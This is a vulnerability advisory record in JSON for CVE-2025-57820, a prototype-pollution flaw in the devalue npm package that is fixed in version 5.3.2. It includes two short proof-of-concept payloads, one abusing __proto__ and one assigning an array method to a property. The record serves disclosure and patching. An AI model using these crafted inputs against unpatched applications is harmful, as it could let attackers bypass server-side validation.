{"id":"CVE-2025-57820","aliases":["GHSA-vj54-72f3-p5jv"],"url":"https://o3.security/vulnerability/CVE-2025-57820","summary":"Svelte devalue vulnerable to prototype pollution","details":"## 1. `devalue.parse` allows `__proto__` to be set\n\nA string passed to `devalue.parse` could represent an object with a `__proto__` property, which would assign a prototype to an object while allowing properties to be overwritten:\n\n```js\nclass Vector {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n\n  get magnitude() {\n    return (this.x ** 2 + this.y ** 2) ** 0.5;\n  }\n}\n\nconst payload = `[{\"x\":1,\"y\":2,\"magnitude\":3,\"__proto__\":4},3,4,\"nope\",[\"Vector\",5],[6,7],8,9]`;\n\nconst vector = devalue.parse(payload, {\n  Vector: ([x, y]) => new Vector(x, y)\n});\n\nconsole.log(\"Is vector\", vector instanceof Vector); // true\nconsole.log(vector.x) // 3\nconsole.log(vector.y) // 4\nconsole.log(vector.magnitude); // \"nope\" instead of 5\n```\n\n## 2. `devalue.parse` allows array prototype methods to be assigned to object\n\nIn a payload constructed with `devalue.stringify`, values are represented as array indices, where the array contains the 'hydrated' values:\n\n```js\ndevalue.stringify({ message: 'hello' }); // [{\"message\":1},\"hello\"]\n```\n\n`devalue.parse` does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:\n\n```js\nconst object = devalue.parse('[{\"toString\":\"push\"}]');\nobject.toString(); // 0\n```\n\nThis could be used by a creative attacker to bypass server-side validation.","published":"2025-08-26T22:33:19.100Z","modified":"2026-08-12T03:51:47.200131210Z","cvss":null,"epss":{"score":0.00369,"percentile":0.30633,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"devalue","fixedVersion":"5.3.2"}],"fix":{"url":"https://github.com/sveltejs/devalue/commit/0623a47c9555b639c03ff1baea82951b2d9d1132","label":"sveltejs/devalue@0623a47"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57820.json"},{"type":"ADVISORY","url":"https://github.com/sveltejs/devalue/security/advisories/GHSA-vj54-72f3-p5jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57820"},{"type":"FIX","url":"https://github.com/sveltejs/devalue/commit/0623a47c9555b639c03ff1baea82951b2d9d1132"},{"type":"PACKAGE","url":"https://github.com/sveltejs/devalue"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:47.200131210Z"}}